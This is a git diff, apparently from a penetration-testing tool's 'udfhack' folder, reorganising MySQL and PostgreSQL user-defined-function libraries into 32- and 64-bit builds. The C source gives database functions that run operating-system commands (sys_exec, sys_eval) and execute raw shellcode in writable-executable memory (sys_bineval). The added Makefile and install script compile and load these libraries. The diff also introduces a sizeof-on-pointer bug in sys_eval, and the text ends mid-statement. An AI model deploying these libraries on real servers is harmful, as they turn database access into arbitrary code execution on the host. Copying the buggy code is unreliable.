diff --git a/extra/udfhack/linux/lib_mysqludf_sys/Makefile b/extra/udfhack/linux/32/lib_mysqludf_sys/Makefile similarity index 100% rename from extra/udfhack/linux/lib_mysqludf_sys/Makefile rename to extra/udfhack/linux/32/lib_mysqludf_sys/Makefile diff --git a/extra/udfhack/linux/lib_mysqludf_sys/install.sh b/extra/udfhack/linux/32/lib_mysqludf_sys/install.sh similarity index 100% rename from extra/udfhack/linux/lib_mysqludf_sys/install.sh rename to extra/udfhack/linux/32/lib_mysqludf_sys/install.sh diff --git a/extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c similarity index 98% rename from extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.c rename to extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c index fb19dbe94..52c9bf24a 100644 --- a/extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.c +++ b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c @@ -435,10 +435,11 @@ char* sys_eval( , char *error ){ FILE *pipe; - char line[1024]; + char *line; unsigned long outlen, linelen; - result = malloc(1); + line = (char *)malloc(1024); + result = (char *)malloc(1); outlen = 0; pipe = popen(args->args[0], "r"); @@ -548,4 +549,4 @@ DWORD WINAPI exec_payload(LPVOID lpParameter) } #endif -#endif /* HAVE_DLOPEN */ \ No newline at end of file +#endif /* HAVE_DLOPEN */ diff --git a/extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.sql b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql similarity index 100% rename from extra/udfhack/linux/lib_mysqludf_sys/lib_mysqludf_sys.sql rename to extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/Makefile b/extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile similarity index 100% rename from extra/udfhack/linux/lib_postgresqludf_sys/Makefile rename to extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/install.sh b/extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh similarity index 100% rename from extra/udfhack/linux/lib_postgresqludf_sys/install.sh rename to extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh diff --git a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c old mode 100755 new mode 100644 similarity index 83% rename from extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c rename to extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c index 9d2b31f67..dc27adb88 --- a/extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c @@ -46,6 +46,33 @@ DWORD WINAPI exec_payload(LPVOID lpParameter); PG_MODULE_MAGIC; #endif +char *text_ptr_to_char_ptr(text *arg) +{ + char *retVal; + int arg_size = VARSIZE(arg) - VARHDRSZ; + retVal = (char *)malloc(arg_size + 1); + + memcpy(retVal, VARDATA(arg), arg_size); + retVal[arg_size] = '\0'; + + return retVal; +} + +text *chr_ptr_to_text_ptr(char *arg) +{ + text *retVal; + + retVal = (text *)malloc(VARHDRSZ + strlen(arg)); +#ifdef SET_VARSIZE + SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); +#else + VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; +#endif + memcpy(VARDATA(retVal), arg, strlen(arg)); + + return retVal; +} + PG_FUNCTION_INFO_V1(sys_exec); #ifdef PGDLLIMPORT extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { @@ -53,15 +80,10 @@ extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; int32 result = 0; char *command; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; + command = text_ptr_to_char_ptr(argv0); /* Only if you want to log @@ -83,24 +105,20 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); text *result_text; - int32 argv0_size; char *command; char *result; FILE *pipe; - char line[1024]; + char *line; int32 outlen, linelen; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)malloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; + command = text_ptr_to_char_ptr(argv0); /* Only if you want to log elog(NOTICE, "Command evaluated: %s", command); */ + line = (char *)malloc(1024); result = (char *)malloc(1); outlen = 0; @@ -119,13 +137,7 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { result[outlen-1] = 0x00; } - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); + result_text = chr_ptr_to_text_ptr(result); PG_RETURN_POINTER(result_text); } @@ -216,7 +228,6 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { #endif text *argv0 = PG_GETARG_TEXT_P(0); text *result_text; - int32 argv0_size; int32 len; int32 i, j; char *filename; @@ -225,11 +236,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { char table[] = "0123456789ABCDEF"; FILE *file; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - filename = (char *)malloc(argv0_size + 1); - - memcpy(filename, VARDATA(argv0), argv0_size); - filename[argv0_size] = '\0'; + filename = text_ptr_to_char_ptr(argv0); file = fopen(filename, "rb"); if (!file) @@ -258,13 +265,7 @@ extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { } result[j] = '\0'; - result_text = (text *)malloc(VARHDRSZ + strlen(result)); -#ifdef SET_VARSIZE - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); -#else - VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; -#endif - memcpy(VARDATA(result_text), result, strlen(result)); + result_text = chr_ptr_to_text_ptr(result); free(result); free(buffer); diff --git a/extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.sql b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sql similarity index 100% rename from extra/udfhack/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.sql rename to extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sql diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/Makefile b/extra/udfhack/linux/64/lib_mysqludf_sys/Makefile new file mode 100644 index 000000000..ffce93221 --- /dev/null +++ b/extra/udfhack/linux/64/lib_mysqludf_sys/Makefile @@ -0,0 +1,9 @@ +# For MySQL < 5.1 +LIBDIR=/usr/lib +# For MySQL >= 5.1 +#LIBDIR=/usr/lib/mysql/plugin + +install: + gcc-4.2 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -fPIC -o lib_mysqludf_sys.so + strip -sx lib_mysqludf_sys.so + cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh b/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh new file mode 100755 index 000000000..227eeca15 --- /dev/null +++ b/extra/udfhack/linux/64/lib_mysqludf_sys/install.sh @@ -0,0 +1,47 @@ +#!/bin/bash +# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions +# Copyright (C) 2007 Roland Bouman +# Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. +# web: http://www.mysqludf.org/ +# email: mysqludfs@gmail.com, bernardo.damele@gmail.com +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +# Adapt the following settings to your environment +USER="root" +PORT="3306" + +echo "Compiling the MySQL UDF" +make + +if test $? -ne 0; then + echo "ERROR: You need libmysqlclient development software installed" + echo "to be able to compile this UDF, on Debian/Ubuntu just run:" + echo "apt-get install libmysqlclient-dev" + exit 1 +else + echo "MySQL UDF compiled successfully" +fi + +echo -e "\nPlease provide your MySQL root password" + +mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql + +if test $? -ne 0; then + echo "ERROR: unable to install the UDF" + exit 1 +else + echo "MySQL UDF installed successfully" +fi diff --git a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c old mode 100755 new mode 100644 similarity index 93% rename from extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c rename to extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c index 6d2895169..52c9bf24a --- a/extra/udfhack/windows/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c +++ b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c @@ -1,551 +1,552 @@ -/* - lib_mysqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2007 Roland Bouman - Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. - web: http://www.mysqludf.org/ - email: mysqludfs@gmail.com, bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define DLLEXP __declspec(dllexport) -#else -#define DLLEXP -#include -#include -#include -#endif - -#ifdef STANDARD -#include -#include -#include -#ifdef __WIN__ -typedef unsigned __int64 ulonglong; -typedef __int64 longlong; -#else -typedef unsigned long long ulonglong; -typedef long long longlong; -#endif /*__WIN__*/ -#else -#include -#include -#endif -#include -#include -#include -#include - -#include - -#ifdef HAVE_DLOPEN -#ifdef __cplusplus -extern "C" { -#endif - -#define LIBVERSION "lib_mysqludf_sys version 0.0.3" - -#ifdef __WIN__ -#define SETENV(name,value) SetEnvironmentVariable(name,value); -#else -#define SETENV(name,value) setenv(name,value,1); -#endif - -DLLEXP -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -); - -DLLEXP -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_get - * - * Gets the value of the specified environment variable. - */ -DLLEXP -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_get_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_set - * - * Sets the value of the environment variables. - * This function accepts a set of name/value pairs - * which are then set as environment variables. - * Use sys_get to retrieve the value of such a variable - */ -DLLEXP -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_set_deinit( - UDF_INIT *initid -); - -DLLEXP -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_exec - * - * executes the argument commandstring and returns its exit status. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_exec_deinit( - UDF_INIT *initid -); - -DLLEXP -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_eval - * - * executes the argument commandstring and returns its standard output. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_eval_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_bineval - * - * executes bynary opcodes. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -); - -DLLEXP -void sys_bineval_deinit( - UDF_INIT *initid -); - -DLLEXP -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - - -#ifdef __cplusplus -} -#endif - -/** - * lib_mysqludf_sys_info - */ -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - my_bool status; - if(args->arg_count!=0){ - strcpy( - message - , "No arguments allowed (udf: lib_mysqludf_sys_info)" - ); - status = 1; - } else { - status = 0; - } - return status; -} - -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -){ -} - -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - strcpy(result,LIBVERSION); - *length = strlen(LIBVERSION); - return result; -} - -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count==1 - && args->arg_type[0]==STRING_RESULT){ - initid->maybe_null = 1; - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_get_deinit( - UDF_INIT *initid -){ -} - -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - char* value = getenv(args->args[0]); - if(value == NULL){ - *is_null = 1; - } else { - *length = strlen(value); - } - return value; -} - -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count!=2){ - strcpy( - message - , "Expected exactly two arguments" - ); - return 1; - } - if(args->arg_type[0]!=STRING_RESULT){ - strcpy( - message - , "Expected string type for name parameter" - ); - return 1; - } - args->arg_type[1]=STRING_RESULT; - if((initid->ptr=malloc( - args->lengths[0] - + 1 - + args->lengths[1] - + 1 - ))==NULL){ - strcpy( - message - , "Could not allocate memory" - ); - return 1; - } - return 0; -} - -void sys_set_deinit( - UDF_INIT *initid -){ - if (initid->ptr!=NULL){ - free(initid->ptr); - } -} - -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - char *name = initid->ptr; - char *value = name + args->lengths[0] + 1; - memcpy( - name - , args->args[0] - , args->lengths[0] - ); - *(name + args->lengths[0]) = '\0'; - memcpy( - value - , args->args[1] - , args->lengths[1] - ); - *(value + args->lengths[1]) = '\0'; - return SETENV(name,value); -} - -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_exec_deinit( - UDF_INIT *initid -){ -} - -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - return system(args->args[0]); -} - -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_eval_deinit( - UDF_INIT *initid -){ -} - -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - FILE *pipe; - char line[1024]; - unsigned long outlen, linelen; - - result = malloc(1); - outlen = 0; - - pipe = popen(args->args[0], "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (!(*result) || result == NULL) { - *is_null = 1; - } else { - result[outlen-1] = 0x00; - *length = strlen(result); - } - - return result; -} - -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -){ - return 0; -} - -void sys_bineval_deinit( - UDF_INIT *initid -){ - -} - -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -){ - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = strlen(args->args[0]); - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, args->args[0], len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - return 1; - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - return 1; - - strncpy((char *)addr, args->args[0], len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - return 0; -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} -#endif - -#endif /* HAVE_DLOPEN */ \ No newline at end of file +/* + lib_mysqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2007 Roland Bouman + Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. + web: http://www.mysqludf.org/ + email: mysqludfs@gmail.com, bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define DLLEXP __declspec(dllexport) +#else +#define DLLEXP +#include +#include +#include +#endif + +#ifdef STANDARD +#include +#include +#include +#ifdef __WIN__ +typedef unsigned __int64 ulonglong; +typedef __int64 longlong; +#else +typedef unsigned long long ulonglong; +typedef long long longlong; +#endif /*__WIN__*/ +#else +#include +#include +#endif +#include +#include +#include +#include + +#include + +#ifdef HAVE_DLOPEN +#ifdef __cplusplus +extern "C" { +#endif + +#define LIBVERSION "lib_mysqludf_sys version 0.0.3" + +#ifdef __WIN__ +#define SETENV(name,value) SetEnvironmentVariable(name,value); +#else +#define SETENV(name,value) setenv(name,value,1); +#endif + +DLLEXP +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +); + +DLLEXP +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_get + * + * Gets the value of the specified environment variable. + */ +DLLEXP +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_get_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_set + * + * Sets the value of the environment variables. + * This function accepts a set of name/value pairs + * which are then set as environment variables. + * Use sys_get to retrieve the value of such a variable + */ +DLLEXP +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_set_deinit( + UDF_INIT *initid +); + +DLLEXP +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_exec + * + * executes the argument commandstring and returns its exit status. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_exec_deinit( + UDF_INIT *initid +); + +DLLEXP +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +); + +/** + * sys_eval + * + * executes the argument commandstring and returns its standard output. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +); + +DLLEXP +void sys_eval_deinit( + UDF_INIT *initid +); + +DLLEXP +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +); + +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + + +#ifdef __cplusplus +} +#endif + +/** + * lib_mysqludf_sys_info + */ +my_bool lib_mysqludf_sys_info_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + my_bool status; + if(args->arg_count!=0){ + strcpy( + message + , "No arguments allowed (udf: lib_mysqludf_sys_info)" + ); + status = 1; + } else { + status = 0; + } + return status; +} + +void lib_mysqludf_sys_info_deinit( + UDF_INIT *initid +){ +} + +char* lib_mysqludf_sys_info( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + strcpy(result,LIBVERSION); + *length = strlen(LIBVERSION); + return result; +} + +my_bool sys_get_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count==1 + && args->arg_type[0]==STRING_RESULT){ + initid->maybe_null = 1; + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_get_deinit( + UDF_INIT *initid +){ +} + +char* sys_get( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + char* value = getenv(args->args[0]); + if(value == NULL){ + *is_null = 1; + } else { + *length = strlen(value); + } + return value; +} + +my_bool sys_set_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + if(args->arg_count!=2){ + strcpy( + message + , "Expected exactly two arguments" + ); + return 1; + } + if(args->arg_type[0]!=STRING_RESULT){ + strcpy( + message + , "Expected string type for name parameter" + ); + return 1; + } + args->arg_type[1]=STRING_RESULT; + if((initid->ptr=malloc( + args->lengths[0] + + 1 + + args->lengths[1] + + 1 + ))==NULL){ + strcpy( + message + , "Could not allocate memory" + ); + return 1; + } + return 0; +} + +void sys_set_deinit( + UDF_INIT *initid +){ + if (initid->ptr!=NULL){ + free(initid->ptr); + } +} + +long long sys_set( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + char *name = initid->ptr; + char *value = name + args->lengths[0] + 1; + memcpy( + name + , args->args[0] + , args->lengths[0] + ); + *(name + args->lengths[0]) = '\0'; + memcpy( + value + , args->args[1] + , args->lengths[1] + ); + *(value + args->lengths[1]) = '\0'; + return SETENV(name,value); +} + +my_bool sys_exec_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_exec_deinit( + UDF_INIT *initid +){ +} + +my_ulonglong sys_exec( + UDF_INIT *initid +, UDF_ARGS *args +, char *is_null +, char *error +){ + return system(args->args[0]); +} + +my_bool sys_eval_init( + UDF_INIT *initid +, UDF_ARGS *args +, char *message +){ + unsigned int i=0; + if(args->arg_count == 1 + && args->arg_type[i]==STRING_RESULT){ + return 0; + } else { + strcpy( + message + , "Expected exactly one string type parameter" + ); + return 1; + } +} + +void sys_eval_deinit( + UDF_INIT *initid +){ +} + +char* sys_eval( + UDF_INIT *initid +, UDF_ARGS *args +, char* result +, unsigned long* length +, char *is_null +, char *error +){ + FILE *pipe; + char *line; + unsigned long outlen, linelen; + + line = (char *)malloc(1024); + result = (char *)malloc(1); + outlen = 0; + + pipe = popen(args->args[0], "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (!(*result) || result == NULL) { + *is_null = 1; + } else { + result[outlen-1] = 0x00; + *length = strlen(result); + } + + return result; +} + +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} + +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = strlen(args->args[0]); + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ diff --git a/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql new file mode 100644 index 000000000..3412d939e --- /dev/null +++ b/extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql @@ -0,0 +1,35 @@ +/* + lib_mysqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2007 Roland Bouman + Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. + web: http://www.mysqludf.org/ + email: roland.bouman@gmail.com, bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +DROP FUNCTION IF EXISTS lib_mysqludf_sys_info; +DROP FUNCTION IF EXISTS sys_get; +DROP FUNCTION IF EXISTS sys_set; +DROP FUNCTION IF EXISTS sys_exec; +DROP FUNCTION IF EXISTS sys_eval; +DROP FUNCTION IF EXISTS sys_bineval; + +CREATE FUNCTION 